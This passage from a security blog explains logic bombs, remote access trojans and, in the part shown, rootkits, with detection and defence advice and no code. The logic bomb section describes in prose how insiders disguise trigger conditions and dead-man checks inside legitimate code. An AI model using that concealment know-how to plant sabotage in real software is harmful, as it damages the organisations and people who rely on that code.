gone. That last category is the one tied most closely to insiders, and it is worth its own section. ## The insider angle Logic bombs are unusual among malware because they are frequently planted by someone with legitimate access rather than delivered by an outside attacker. A developer, a system administrator, or a contractor already inside the codebase is perfectly placed to insert a few lines of conditional logic that no external firewall will ever see. The motive is usually one of two things. Sabotage, from a disgruntled employee who wants to cause damage on the way out. Or leverage, from someone who wants to guarantee they cannot be dismissed without consequences, using a dead-man trigger tied to their own account so that removing them breaks the system. This is why a logic bomb is as much a personnel and process problem as a technical one. The person planting it has passed every access control you have, because you gave them the access on purpose. The most damaging logic bombs are tied to the planter's own presence in a system. Disable the account, remove the name from the directory, walk them out, and the trigger condition becomes true. Offboarding a privileged insider without first auditing what they built can be the very event that detonates the bomb. Review before you revoke. ## What the payload does The trigger is the distinctive part. The payload is often ordinary destruction. Logic bombs commonly delete files, wipe databases, corrupt records, or disable services. When the payload's job is mass destruction of data, the behaviour overlaps directly with wipers and maps to MITRE ATT&CK [Data Destruction (T1485)](https://attack.mitre.org/techniques/T1485/). Not every payload is destructive. Some are built to enable something quieter: opening a backdoor, escalating a privilege, or corrupting data slowly so the damage is hard to trace back to a cause. The trigger is what makes it a logic bomb. The payload can be anything the planter chose. | Aspect | Logic bomb | Typical outside malware | |---|---|---| | Who plants it | Often a trusted insider | Usually an external attacker | | State before trigger | Dormant, behaves normally | Active on execution | | How it activates | A logical condition comes true | Runs when delivered and launched | | Where it hides | Inside legitimate software | A separate malicious file or process | | Main defence | Code review and process controls | Perimeter and endpoint detection | ## How to defend against logic bombs Because the code arrives through trusted hands and hides inside legitimate software, defence leans on engineering discipline and human process more than on scanners. 1. **Mandate peer code review.** No change reaches production without a second person reading it. A stray conditional checking today's date against a hardcoded value, or a query looking for a specific username, is the kind of thing a reviewer catches and an automated test never runs. 2. **Require version control for everything.** Every change should be attributable to an author and a commit. Trigger logic is much harder to hide when every line has a name and a history attached. 3. **Enforce separation of duties.** The person who writes code should not be the only person who can deploy it to production. Splitting these roles removes the single point of unchecked control. 4. **Apply least privilege.** The narrower an insider's access, the smaller the blast radius of anything they plant. A developer who cannot reach production databases cannot arm a bomb against them. 5. **Audit before offboarding privileged staff.** Before you disable a high-access account, review what that person built and deployed. This is the moment dead-man triggers are designed to exploit. 6. **Monitor for the payload's actions.** You may not spot the dormant trigger, but you can detect the effect: sudden mass file deletion, unexpected database drops, services being disabled. Alerting on destructive actions catches the bomb at the moment it goes off, in time to contain it. A logic bomb has two moments you can catch it: when it is written and when it fires. Code review and version-control history give you the first. Monitoring for bulk deletions, database drops, and disabled services gives you the second. Cover both ends and the dormant middle matters far less. Logic bombs are one tool in the broader insider-threat problem, and the actors who use destructive triggers overlap with sabotage and extortion crews. Our Threat Groups directory tracks the groups known for destructive payloads, so you can see how trigger-based sabotage fits alongside wiper and ransomware operations. A logic bomb is patient by design, and that patience is what defeats point-in-time scanning. Beat it with process. Read the code, attribute every change, split the keys, and watch for the destruction the trigger was built to unleash. ## Anatomy of a trigger It is worth looking closely at the mechanism, because understanding the shape of the trigger is what lets a reviewer spot one. Every logic bomb reduces to the same skeleton: a condition that is evaluated during normal operation, and a harmful branch that runs only when the condition becomes true. The surrounding program is genuine, functioning software, and the malicious payload is a small addition tucked inside it. The condition is where the craft lives. A crude trigger checks the current date against a hardcoded value, which is exactly the kind of comparison a careful reviewer notices because it has no legitimate business reason. More careful triggers hide the intent. The condition might be split across several places so no single line looks suspicious, or expressed in terms of a computed value rather than an obvious literal, or nested inside logic that appears to serve a real feature. A dead-man trigger, for example, might be disguised as a routine health check that quietly verifies a specific account still exists, with the destructive branch presented as ordinary error handling for when the check fails. The payload is the second half. Because the trigger has done the work of hiding, the payload itself is often blunt: a routine that deletes files, drops database tables, or disables a service. The planter does not need the payload to be subtle, because the trigger guarantees it only runs at the chosen moment, by which time the planter is usually gone and the surrounding program has passed every test it was subjected to. This structure explains the two defining properties of a logic bomb at once. It survives testing because the condition is false during every normal run, so the harmful branch is never exercised. And it is hard to attribute after the fact because, by the time the payload fires, the code has been in production for months and the person who wrote it may have moved on. ## A worked example in plain terms Consider a billing system maintained by a small team. One developer, anticipating a dispute with the employer, adds a few lines to a routine that runs every night. The lines check whether a particular employee record, their own, still appears in the company directory. As long as the record is present, the check passes and the nightly routine does nothing unusual. The code ships, passes review under time pressure, and runs cleanly for months. The developer later leaves, and during offboarding their directory account is disabled and their record is removed. The next night the check fails for the first time. The harmful branch, written to look like cleanup that runs when the directory lookup returns nothing, begins deleting billing records. The damage is discovered days later when reconciliation fails, long after the trigger fired and well after the person who planted it departed. Nothing in this sequence required an external attacker, a vulnerability, or a piece of malware crossing the perimeter. The harmful code walked in through the front door as an authorised change, sat dormant through every test, and was detonated by the organisation's own routine offboarding process. That is the pattern that makes logic bombs distinct, and it is why the defenses are as much about process as about technology. With a dead-man trigger, the detonating event is frequently a normal administrative action: disabling an account, removing a record, decommissioning a server. The defender performs the very step the bomb was waiting for. This is why auditing what a departing privileged insider built has to come before revoking their access, since the revocation itself can be the trigger. ## Detection signals A dormant logic bomb is hard to see by definition, but there are concrete signals across its lifecycle that give defenders something to watch. In source code, the tells are conditionals with no legitimate business justification. A comparison of the current date or time against a fixed value, a check for the presence or absence of a specific user or record that no feature needs, or a countdown that decrements toward an action are all worth a second look during review. So is destructive logic that sits behind an unusual or rarely reachable branch, especially error-handling paths that do more than log and recover. In version control, the signal is a change whose stated purpose does not match its content. A commit described as a minor fix that also touches deletion routines, or a change that adds date arithmetic to code that has no reason to care about the calendar, is the kind of mismatch history makes visible. Reviewing the diff and the commit message together, and asking whether the change does only what it claims, is often enough. At runtime, you cannot see the dormant trigger, but you can see the payload the moment it fires. Sudden bulk deletion of files, unexpected dropping of database tables, mass modification of records, or services being disabled without a corresponding change request are the effects a destructive payload produces. Alerting on those actions does not prevent the bomb, and it catches it at detonation in time to contain the damage and begin recovery. Behavioural and access signals add context. An insider who requests or retains access beyond what their role needs, who resists code review or separation of duties, or whose activity spikes around a period of conflict or impending departure, is not proof of anything, and it is the kind of pattern that insider-threat programs are built to weigh alongside the technical indicators. ## Common mistakes in defending against logic bombs A few recurring errors leave organisations exposed. The first is relying on scanners to catch them. Antivirus and static analysis are tuned to recognise known-malicious patterns, and a logic bomb is bespoke code hidden inside legitimate software, often written by someone who knows exactly what the scanners look for. Treating a clean scan as assurance against logic bombs misreads what those tools can do. The second is offboarding privileged staff without an audit. Revoking access is correct, and doing it before reviewing what the person built can be the exact action that fires a dead-man trigger. The safer sequence is to review first, then revoke, with heightened scrutiny for anyone who had the access to plant trigger logic. The third is allowing a single person unchecked control over both writing and deploying code. When one individual can author a change and push it to production without a second set of eyes, there is no point at which a planted trigger has to survive review, because there is no review. Separation of duties removes that single point of unchecked control. The fourth is treating logic bombs as purely a technical problem. The people best placed to plant one are trusted insiders who have passed every access control on purpose, so the defense has to include personnel process, clear conflict-resolution paths, and an insider-threat posture, alongside the engineering controls. ## How logic bombs relate to other malicious code Placing logic bombs beside neighbouring concepts sharpens what makes them distinct. | Concept | Defining trait | Relationship to logic bombs | |---|---|---| | Logic bomb | Trigger-based dormancy, then a payload | The parent concept here | | Time bomb | Trigger is specifically a date or delay | A logic bomb whose condition is time | | Dead-man trigger | Fires when something expected disappears | A logic bomb keyed to absence | | Wiper | Payload destroys data | A common logic-bomb payload, also used alone | | Backdoor | Provides hidden access | A quieter payload a logic bomb may deploy | A time bomb is simply a logic bomb whose condition is the clock. A dead-man trigger is a logic bomb whose condition is the absence of something, most often the planter's own presence in a system. A wiper describes the payload rather than the trigger, and destructive wiper behaviour is one of the most common things a logic bomb is built to unleash, which is why the two map to the same MITRE ATT&CK Data Destruction technique. A backdoor is a quieter alternative payload, chosen when the planter wants continued access rather than destruction. The trigger is the throughline that makes all of these a logic bomb, and the payload is a separate choice the planter makes. ## How the idea has developed Trigger-based malicious code is one of the older concepts in software security, predating the modern malware economy. It grew directly out of the reality that the people who build and maintain software have deep, privileged access to it, and that a small number of them, at some point, have a motive to misuse that access. The dead-man variant in particular is tied to the employment relationship, appearing wherever an individual believes their continued presence is the only thing keeping a system safe. What has changed over time is the defensive environment, which has quietly raised the cost of planting one. Widespread adoption of version control means most changes now carry an author and a history, so slipping in unattributed trigger logic is harder than it once was. The normalisation of mandatory peer review means many changes face a second reader before they ship. Deployment pipelines that separate the author of a change from the person who releases it remove some of the single-handed control that logic bombs depend on. None of these controls is a scanner for logic bombs, and together they make the codebase a far less comfortable place to hide one. The organisations still most exposed are those that skip these disciplines under time pressure or trust. ## Responding when you suspect one If you have reason to believe a logic bomb is present, the response differs from ordinary malware handling because the threat is dormant and tied to a person. The first priority is to avoid triggering it. If the suspicion centres on a departing or departed insider, resist the reflex to immediately purge their accounts and records, since that purge may be the very condition the trigger waits for. Preserve the current state, take a snapshot or backup of the affected systems, and treat the environment as evidence. Next, focus the review on what that person touched. Version-control history is the fastest lens: pull their commits, read the diffs against their stated purpose, and look specifically for conditionals involving dates, user or record presence, counters, or destructive branches behind unusual paths. Widen the review to code they deployed even if they did not author it, since a planter may have slipped logic into someone else's change. While the code review proceeds, tighten runtime monitoring on the systems at risk so that if the payload does fire, you see it immediately. Alerting on bulk deletions, database drops, and service changes gives you a containment tripwire even before the trigger is found. Keeping current, tested, offline backups is the safety net underneath all of this, because it turns a successful detonation from a catastrophe into a recovery. Throughout, treat it as an insider matter with the appropriate people involved, including human resources and, where warranted, legal counsel. The technical hunt and the personnel process run together, since the same individual who could plant the code is the one whose access and intent the investigation has to weigh. ## Frequently asked questions **What is a logic bomb in simple terms?** It is malicious code hidden inside a normal program that stays inactive until a specific condition is met, then runs a harmful payload. The defining feature is the trigger, the logical test that decides when the payload fires. **What is the difference between a logic bomb and a time bomb?** A time bomb is a logic bomb whose trigger is specifically a date, a time, or a delay. All time bombs are logic bombs, and logic bombs can also trigger on events or on the absence of something rather than the clock. **Who plants logic bombs?** Frequently a trusted insider with legitimate access to the codebase or systems, such as a developer, administrator, or contractor. The motive is usually sabotage by a disgruntled individual or leverage through a dead-man trigger tied to their own continued presence. **Can antivirus detect a logic bomb?** Usually not reliably. A logic bomb is custom code hidden inside legitimate software, so there is often no known-malicious pattern for a scanner to match. Code review, version-control history, and monitoring for the payload's destructive actions are the more effective defenses. **What does a logic bomb payload do?** Most often it destroys or disrupts: deleting files, dropping databases, corrupting records, or disabling services. Some payloads are quieter, opening a backdoor or escalating privileges. The trigger is what makes it a logic bomb, and the payload can be almost anything the planter chose. **How do you protect against logic bombs?** Through engineering discipline and personnel process: mandatory peer code review, version control for every change, separation of duties between writing and deploying code, least privilege to limit blast radius, auditing what privileged staff built before offboarding them, and monitoring for the destructive actions a payload performs. **Why are dead-man triggers so dangerous during offboarding?** Because disabling an account or removing a record can be the exact condition the trigger is waiting for. Offboarding a privileged insider without first reviewing what they built risks performing the action that detonates the bomb, which is why review should precede revocation. ## Related guides - [Insider Threats Guide](/insider-threats-guide) - [What Is a Wiper](/what-is-a-wiper) - [Secure Coding Practices](/secure-coding-practices) - [Malware Persistence Techniques](/malware-persistence-techniques) ### Sources - MITRE ATT&CK: Data Destruction (T1485) (MITRE): https://attack.mitre.org/techniques/T1485/ - CISA: Insider Threat Mitigation (CISA): https://www.cisa.gov/topics/physical-security/insider-threat-mitigation - NIST SP 800-53: Security and Privacy Controls (NIST): https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final --- ## What Is a RAT? Remote Access Trojans Explained > A remote access trojan gives an attacker hands-on control of your machine: screen, files, webcam, keystrokes. How RATs work, spread, and how to detect them. - URL: https://blog.pwnsy.com/what-is-a-rat - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: malware - Tags: rat, malware, remote-access, command-and-control, malware-analysis - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [Tech Support Scams Explained: The Popup, the Call, the Refund](https://blog.pwnsy.com/tech-support-scams-explained) ### TL;DR - A remote access trojan is malware that gives an attacker interactive, hands-on control of an infected machine as if they were sitting at the keyboard. - A RAT is built for control, not a single theft: it can browse files, log keystrokes, capture the screen and webcam, run commands, and drop more malware on demand. - RATs are delivered by tricking a user into running them, usually through phishing attachments, fake software, and abused file formats, then they call home to the attacker. - Detection focuses on the command-and-control channel and on odd process and network behaviour, because a well-built RAT tries hard to look like normal software. ### Key Takeaways - A RAT trades speed for control: unlike a smash-and-grab stealer, it stays resident so the operator can return and act interactively over time. - The heartbeat of a RAT is its command-and-control channel, which is both its greatest capability and its most detectable feature. - Legitimate remote-admin tools and RATs do the same things; intent and consent are the difference, which is why behaviour and context drive detection. - RAT behaviour maps to MITRE ATT&CK Remote Access Software (T1219) and the Command and Control tactic, alongside collection techniques like screen and input capture. - Defense is layered: block delivery, deny outbound to unknown destinations, watch for persistence, and hunt the beacon rather than a fixed file signature. Imagine an attacker sitting at your computer. Not looking at a copy of your files, but at your actual desktop, moving your cursor, opening your folders, switching on your webcam, reading what you type as you type it. That is what a remote access trojan gives someone. A RAT turns your machine into a screen and keyboard the attacker operates from anywhere in the world, quietly, for as long as it stays undetected. The name spells out the danger. It is a **trojan**, so it arrives disguised as something you wanted to run. It provides **remote access**, so the operator controls the machine from a distance. Put together, a RAT is one of the most flexible tools an attacker can plant, because once it is running, they are not limited to a single goal. They can decide later. ## What makes a RAT different Plenty of malware talks to a server. What sets a RAT apart is that the server is a human operator with a control panel, running an interactive session against your machine. A stealer grabs a bundle and leaves in seconds. A RAT stays, because its value is being able to come back and act with judgment. | Property | Infostealer | RAT | Backdoor | |---|---|---|---| | Primary goal | Grab data fast | Interactive control | Preserve re-entry | | Time on host | Seconds | As long as it stays hidden | Indefinite, often dormant | | Operator involvement | Automated collection | Hands-on session | On demand | | Typical persistence | Optional | Usually present | Its whole purpose | A typical RAT gives the operator a menu of capabilities: - **File system access**: browse, download, upload, and delete files. - **Keystroke logging** to capture passwords and messages as they are typed. - **Screen capture and live screen viewing** of what the victim is doing. - **Webcam and microphone access** for surveillance. - **Remote shell**, running arbitrary commands on the machine. - **Process and service control**, starting and stopping software. - **Payload delivery**, downloading and running more malware on demand. That last point is why a RAT is often the beginning of a larger intrusion rather than the end. It is a foothold with hands. ## The command-and-control channel Every RAT needs a way to reach its operator, and every operator needs a way to reach the RAT. That two-way link is the **command-and-control** channel, often shortened to C2. It is the single most important thing to understand about a RAT, because it is both what makes the RAT useful and what most reliably gives it away. Usually the infected machine reaches out to the attacker, not the reverse. The RAT "calls home" on a schedule, a pattern defenders call **beaconing**, checking in with the C2 server to ask for instructions. This outbound-first design is deliberate. Outbound connections slip through firewalls that block inbound ones, and a machine phoning out looks less suspicious than a server reaching in. RATs work hard to make that traffic blend in. Common tricks include tunnelling over ordinary web ports, hiding commands inside normal-looking web requests, and routing through legitimate cloud services so the destination looks trustworthy. On MITRE ATT&CK this whole area is the [Command and Control](https://attack.mitre.org/tactics/TA0011/) tactic, and RAT tooling itself maps to [Remote Access Software (T1219)](https://attack.mitre.org/techniques/T1219/). For a deeper look at how these channels are built and hidden, see [Command and Control Explained](/command-and-control-explained). Remote-administration software that IT teams use to support machines does exactly what a RAT does: remote screen, file transfer, remote shell. The technical capability is identical. What separates a support tool from a trojan is consent and intent. This is why attackers sometimes install legitimate remote-admin tools instead of custom malware, and why detection has to weigh context, not just the presence of a capability. ## How RATs spread RATs rarely rely on exotic exploits. Like most trojans, they depend on convincing a person to run them: - **Phishing attachments and links**, the most common route, often wrapped in an abused file format. - **Fake or cracked software**, bundling the RAT with something the victim wanted. - **Malvertising and poisoned downloads** that serve a trojanised installer. - **Fake updates and paste-a-command lures** that talk the user into executing a script. The delivery file is almost always one of a small set of abused formats: a script, an archive, a disk image, a malicious document, a rogue installer. That choke point is the best place to stop a RAT before it ever runs, and our File-Format Abuse Atlas catalogues those formats and how to detect them. ## The RAT lifecycle A RAT infection generally moves through the same stages: 1. **Delivery and execution.** The user runs the disguised file. 2. **Persistence.** The RAT sets itself to survive a reboot, through a scheduled task, a registry run key, or a service. 3. **Check-in.** It beacons to the C2 server and reports the new victim. 4. **Interactive control.** The operator issues commands: reconnaissance, theft, or dropping more tools. 5. **Expansion.** The RAT is used to move deeper into the network or hand the foothold to another actor. The gap between check-in and action can be minutes or months. That patience is exactly what makes RATs dangerous and hard to catch on a single event. ## How to detect a RAT Because a good RAT tries to look like normal software, detection leans on behaviour and network signals more than on a fixed file signature. **Watch the network.** Regular beaconing to an unfamiliar destination, connections to newly registered domains, or steady low-volume traffic to one host are classic C2 tells. Egress monitoring and alerting on outbound connections to unknown destinations catches many RATs at the channel. **Watch persistence.** New scheduled tasks, run keys, or services that appear without a change record are worth investigating. Baseline what should auto-start and alert on additions. **Watch process behaviour.** A document viewer spawning a shell, an unusual process reading webcam or screen APIs, or a signed-but-out-of-place remote-admin tool are all behavioural red flags that endpoint tools can surface. **Hunt the sensor access.** Sudden use of the webcam, microphone, or screen-capture APIs by an unexpected process is a strong indicator of surveillance. ## How to defend against RATs Defense stacks across the whole chain, from delivery to the C2 heartbeat. 1. **Block delivery.** Attachment filtering, application control, and sensible download policy stop the trojanised file before execution. User awareness of phishing and paste-a-command lures matters, because those bypass most technical controls. 2. **Control outbound traffic.** Default-deny egress where you can, and monitor and alert on connections to unknown or newly registered destinations. A RAT that cannot reach its operator is inert. 3. **Enforce least privilege.** A RAT running as a standard user can do less, and struggles to install robust persistence or reach other machines. 4. **Baseline and monitor persistence.** Know what should auto-start, and treat new scheduled tasks, services, and run keys as events to check. 5. **Deploy behavioural endpoint detection.** Signatures miss custom and legitimate-looking tools; behaviour catches the shell, the capture, and the beacon. 6. **Isolate and rebuild on confirmation.** A RAT means hands-on access happened. Disconnect the host, preserve evidence, rebuild from trusted media, and rotate every credential the machine touched. On a suspected RAT infection, your first move is to isolate the host from the network, not to reboot or start cleaning. Isolation severs the operator's live control immediately and preserves the machine's state for investigation. A reboot can tip off the attacker and destroy volatile evidence in memory. ## Inside the C2 channel: how the beacon works The command-and-control channel deserves a closer look, because understanding its shape is what lets you hunt it. A RAT beacon is a repeating conversation with a rhythm, and that rhythm is its weakness. When a RAT checks in, it sends a small request to the C2 server and waits for a reply. If the operator has queued a command, the reply carries it. If not, the reply is empty and the RAT sleeps until the next check-in. This is why beaconing is so regular: an idle RAT with nothing to do still phones home on a fixed interval to stay reachable. That steady, low-volume, evenly spaced traffic to one destination is a pattern human web browsing almost never produces. Operators know this, so better tooling adds **jitter**, a random variation in the sleep interval, so the check-ins are not perfectly periodic. It also varies packet sizes and wraps the traffic in ordinary-looking web requests. Some RATs go further and use **domain fronting** or route through legitimate cloud and content-delivery services, so the connection appears to go to a trusted provider while the real destination is hidden behind it. Others use **domain generation algorithms**, computing a fresh set of candidate domains each day so defenders cannot simply block one fixed address. The channel also has to survive interruption. Many RATs carry a list of fallback C2 addresses, so if the primary is taken down the malware rotates to the next. This resilience is why blocking a single indicator rarely kills a capable RAT for long, and why egress control that denies unknown destinations by default outperforms chasing individual addresses. ## A walkthrough: a RAT infection from click to control Following one infection through its stages makes the abstract lifecycle concrete. 1. **The lure lands.** A finance employee receives an email that looks like an invoice, with an archive attached. Inside is a file that appears to be a document but is a script or executable. 2. **Execution.** The employee opens it. The visible content might be a decoy document that opens normally, while in the background the real payload runs. Nothing looks wrong on screen. 3. **Persistence is set.** Within seconds the RAT writes itself somewhere it will survive a reboot, for example a scheduled task that runs at logon or a registry run key, often under an innocuous name that blends in with legitimate entries. 4. **First check-in.** The RAT resolves its C2 address and beacons out over an ordinary web port. The operator's panel shows a new victim with the hostname, username, operating system, and privileges. 5. **Reconnaissance.** The operator, or an automated script, enumerates the machine: who is logged in, what privileges they hold, what other systems are reachable, what security tools are present. 6. **Objective.** Depending on the target, the operator harvests credentials, captures the screen while the user works, reads files, or downloads a second-stage tool. If the machine sits on a valuable network, the RAT becomes the launch point for lateral movement. 7. **Handoff or expansion.** The foothold may be widened by the same actor, or sold and handed to another crew who takes the intrusion further. The dwell time between check-in and action is the dangerous part. A RAT can sit quietly for weeks, indistinguishable from idle software, until the operator decides the moment is right. A RAT is frequently the first stage of a larger operation rather than the objective itself. Its payload-delivery capability means it can pull in credential stealers, ransomware, or post-exploitation frameworks on demand. When you find a RAT, the right assumption is that it was a doorway, and the question becomes what came through it and where the operator went next. ## RATs versus related malware RAT is a fuzzy term in casual use, and it overlaps with other categories. Drawing the lines helps you scope an incident correctly. | Category | Core purpose | Operator role | Relationship to a RAT | |---|---|---|---| | RAT | Interactive remote control | Hands-on, in real time | The category itself | | Backdoor | Preserve a way back in | On demand, often dormant | A RAT usually includes backdoor persistence | | Infostealer | Grab data quickly and leave | Automated, minimal | A RAT can deploy one as a payload | | Botnet agent | Enroll the host in a large controlled fleet | Broadcasts commands to many | A RAT can be one node; botnets favor automation over hands-on control | | Legitimate remote-admin tool | Support and manage machines | Authorized administrator | Technically identical, separated by consent | The overlap is the point. A single implant can be described as a RAT, a backdoor, and a botnet node at once, depending on which capability you emphasize. What matters for response is that interactive control was possible, which is the RAT property. ## Common misconceptions **Antivirus will catch it.** Signature-based detection catches known, unchanged samples. RATs are often recompiled, packed, or built from frameworks that produce a fresh binary each time, and attackers sometimes use legitimate signed remote-admin tools that no signature will flag. Behavioral detection and network hunting matter more than a static signature. **A firewall stops it.** Traditional firewalls block inbound connections, but a RAT calls outbound, which is exactly why the outbound-first design exists. Without egress control that restricts where machines may connect, the firewall waves the beacon through. **Rebooting fixes it.** Persistence is a standard RAT feature precisely so a reboot does not help. The RAT comes back at the next logon or service start. A reboot can also alert the operator and destroy volatile evidence in memory. **It only matters if data was stolen.** A RAT means someone had interactive access to the machine and everything it could reach. Even if you find no obvious theft, credentials may be compromised and the foothold may have been used to reach other systems. The access itself is the incident. **Standard users are safe.** Running as a standard user limits a RAT, which is genuinely useful, but it does not neutralize one. Plenty of valuable actions, reading files, capturing the screen, harvesting the user's own credentials, need no elevation at all. ## How RATs evolved Remote control tools are almost as old as networked computers, and the line between administration and abuse was blurry from the start. Early remote-access trojans in the consumer era were often crude novelty tools that let one person prank or spy on another. They established the template that persists today: a client the victim runs and a server console the operator drives. Over time the tooling professionalized. Crimeware RATs were sold as products with support and updates, lowering the skill needed to run a campaign. Nation-state and espionage actors built quieter, more targeted implants focused on staying hidden for long periods. The capability menu converged, because file access, keylogging, screen capture, and a remote shell are what any operator wants, and the differences moved into evasion: how well the C2 traffic blends in, how the implant hides on disk and in memory, and how it resists analysis. The most consequential shift is the blurring with legitimate software. Attackers increasingly install real, signed remote-management tools instead of custom malware, because those tools do everything a RAT does and carry a trusted signature that defeats naive detection. This is why modern defense weighs context and behavior. A remote-admin tool is not malicious by nature, so the question becomes whether its presence and use fit the environment. ## Detection signals at a glance Pulling the indicators together, these are the concrete signals a hunt should prioritize, grouped by where they show up. | Layer | Signal | Why it points to a RAT | |---|---|---| | Network | Regular, low-volume beacons to one destination | The idle check-in rhythm of a C2 channel | | Network | Connections to newly registered or algorithmically generated domains | Fresh or rotating C2 infrastructure | | Persistence | New scheduled tasks, run keys, or services with no change record | The RAT securing survival across reboots | | Process | A document viewer or office app spawning a shell | Payload execution from a delivery lure | | Sensor | Unexpected process reading webcam, microphone, or screen APIs | Active surveillance of the victim | | Software | Remote-admin tools present with no operational reason | An attacker living off legitimate tooling | No single signal is proof. The strength comes from correlation: a new scheduled task that launches a process which then beacons on a fixed interval to a domain registered last week is a far more confident finding than any one of those alone. Building detections that join persistence, process lineage, and network behavior together is what catches capable RATs that each individual sensor would miss. ## Frequently asked questions **What is the difference between a RAT and a virus?** A virus is defined by how it spreads, by attaching to and infecting other files. A RAT is defined by what it does, giving an operator remote control. A RAT arrives as a trojan, disguised as something wanted, rather than by self-replicating infection. **Can a RAT turn on my webcam without the light?** Many RATs can access the webcam, and on some systems the indicator light is harder to suppress than on others. The safe assumption with a confirmed RAT is that the camera, microphone, and screen were all reachable, and to treat anything the machine could see or hear as potentially captured. **How do I know if I have a RAT?** Look for the behavioral signs rather than a single file: regular outbound connections to an unfamiliar destination, new scheduled tasks or services you did not create, unexpected processes accessing the camera or screen, and remote-admin tools you did not install. Endpoint detection and egress monitoring surface these far more reliably than scanning for a known file. **Is a remote-admin tool a RAT?** Technically it has the same capabilities. The difference is authorization. A tool your IT team installed and uses with your knowledge is administration. The same tool planted covertly by an attacker is a RAT. This is why detection has to weigh context, since the presence of the software alone settles nothing. **What should I do first if I suspect a RAT?** Isolate the machine from the network before anything else. That cuts the operator's live control and preserves evidence. Do not reboot or start deleting files, because that can tip off the attacker and destroy volatile data in memory that an investigation needs. **Will reinstalling the operating system remove a RAT?** A clean rebuild from trusted media removes the implant from that machine, but it does not undo what already happened. Any credential the machine handled should be considered compromised and rotated, and you need to determine whether the foothold was used to reach other systems. **Why do attackers use RATs instead of just stealing data and leaving?** Because control is more valuable than a single grab. A RAT lets the operator return, react to what they find, and decide their objective later. That flexibility, and the ability to pull in more tools on demand, is worth the extra risk of staying resident. **Can a RAT spread to other machines on my network?** On its own a RAT is a foothold on one host, but its remote-shell and payload capabilities let the operator move to other machines using stolen credentials and reachable services. Treat a confirmed RAT as a possible starting point for lateral movement and check what else the host could reach. A RAT is a patient, general-purpose foothold: whatever the attacker decides they want, later, with a human at the controls. Because the capabilities overlap with legitimate remote-admin tools, you cannot rely on a signature alone. Stop the delivery, deny the machine an easy way to phone home, watch persistence and behaviour, and when you confirm one, assume a person had their hands on the box and respond accordingly. ## Related guides - [What Is a Backdoor](/what-is-a-backdoor) - [What Is an Infostealer](/what-is-an-infostealer) - [Command and Control Explained](/command-and-control-explained) - [Intro to Malware Analysis](/intro-to-malware-analysis) - [What Is Phishing](/what-is-phishing) ### Sources - MITRE ATT&CK: Remote Access Software (T1219) (MITRE): https://attack.mitre.org/techniques/T1219/ - MITRE ATT&CK: Command and Control (TA0011) (MITRE): https://attack.mitre.org/tactics/TA0011/ - CISA: Malware, Phishing, and Ransomware (CISA): https://www.cisa.gov/topics/cyber-threats-and-advisories/malware-phishing-and-ransomware --- ## What Is a Rootkit? Kernel and User-Mode Stealth Explained > A rootkit hides other malware by tampering with the operating system itself. How kernel and user-mode rootkits work, the hiding tricks, and how to detect them. - URL: https://blog.pwnsy.com/what-is-a-rootkit - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: rootkit, malware, persistence, kernel-security, malware-analysis - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [UEFI Firmware Security Explained: Secure Boot, TPMs and Bootkits](https://blog.pwnsy.com/uefi-firmware-security-explained) ### TL;DR - A rootkit is malware that tampers with the operating system so that other malicious files, processes, and network connections become invisible to normal tools. - User-mode rootkits hook or patch application libraries and are easier to detect; kernel-mode rootkits run inside the OS core and can lie to every tool that trusts it. - The defining behaviour is hiding, not stealing. A rootkit exists to keep a payload alive and unseen, so it maps to defense evasion on MITRE ATT&CK. - Detection relies on comparing what the OS reports against ground truth from outside it: memory forensics, offline disk scans, and boot-time integrity checks. ### Key Takeaways - Rootkits operate by intercepting the calls that tools use to enumerate files, processes, registry keys, and connections, then editing the answers before you see them. - Kernel-mode rootkits need high privilege to install, which is why driver signing, Secure Boot, and least-privilege accounts are the front-line defenses. - A compromised host cannot reliably scan itself; trustworthy detection comes from memory captures, offline media, or a known-good boot environment. - Rootkit techniques map to MITRE ATT&CK Rootkit (T1014) and the broader Defense Evasion tactic, alongside Hijack Execution Flow and driver abuse. - The safest response to a confirmed kernel rootkit is to rebuild the machine from trusted media and rotate every credential that touched it. Most malware tries to do something visible: encrypt files, drain a wallet, beacon to a server. A rootkit has a narrower and more unsettling job. It changes the operating system so that you cannot see the other malware at all. Files that exist do not appear in a directory listing. Processes that are running do not show in the task manager. Network connections that are open do not show in the connection table. The machine reports that everything is fine, because the thing you are asking has been taught to lie. The name comes from Unix. "Root" is the all-powerful account, and a "kit" was the bundle of tools an intruder installed to keep root access and stay hidden. The idea carried over to every modern platform. A rootkit today is any code that subverts the operating system's own reporting to conceal a presence on the machine. ## What a rootkit is for A rootkit rarely acts alone. It is the concealment layer for a payload: a backdoor, a keylogger, a cryptominer, a bot. The payload does the work; the rootkit makes sure defenders and users never notice it. That single purpose, staying unseen, is why the behaviour maps to the Defense Evasion tactic and specifically to [Rootkit (T1014)](https://attack.mitre.org/techniques/T1014/) on MITRE ATT&CK. Three things a rootkit typically hides: - **Files and directories**, so the payload on disk does not show up. - **Processes and services**, so the running payload does not appear in process lists. - **Registry keys, network ports, and connections**, so persistence and command channels stay invisible. The common thread is interception. Every tool you use to inspect a system asks the operating system a question. A rootkit sits between the question and the honest answer, and edits the answer. ## User-mode versus kernel-mode Rootkits are usually sorted by where they run. That location decides how much they can hide and how hard they are to find. | Property | User-mode rootkit | Kernel-mode rootkit | |---|---|---| | Runs in | Application space (ring 3) | OS core (ring 0) | | Typical method | Hooks or patches shared libraries and API calls per process | Loads as a driver, patches kernel structures and system call handling | | Privilege to install | Standard-to-admin | Administrator, plus a way past driver signing | | Scope of hiding | The processes it has infected | The entire system, including security tools | | Stability risk | Low; a crash kills one process | High; a bug can crash the whole machine | | Detection difficulty | Moderate | Hard | A **user-mode rootkit** works inside normal applications. It intercepts the library functions a program calls to list files or processes, and filters the results before the program sees them. Because it lives at the same privilege level as the tools hunting it, a scanner running with equal or higher rights can often catch the inconsistency. This is the more common and more survivable kind. A **kernel-mode rootkit** runs inside the operating system core, usually loaded as a device driver. From there it can alter the data structures the kernel uses to track processes and files, or intercept system calls at the source. Everything that trusts the kernel, 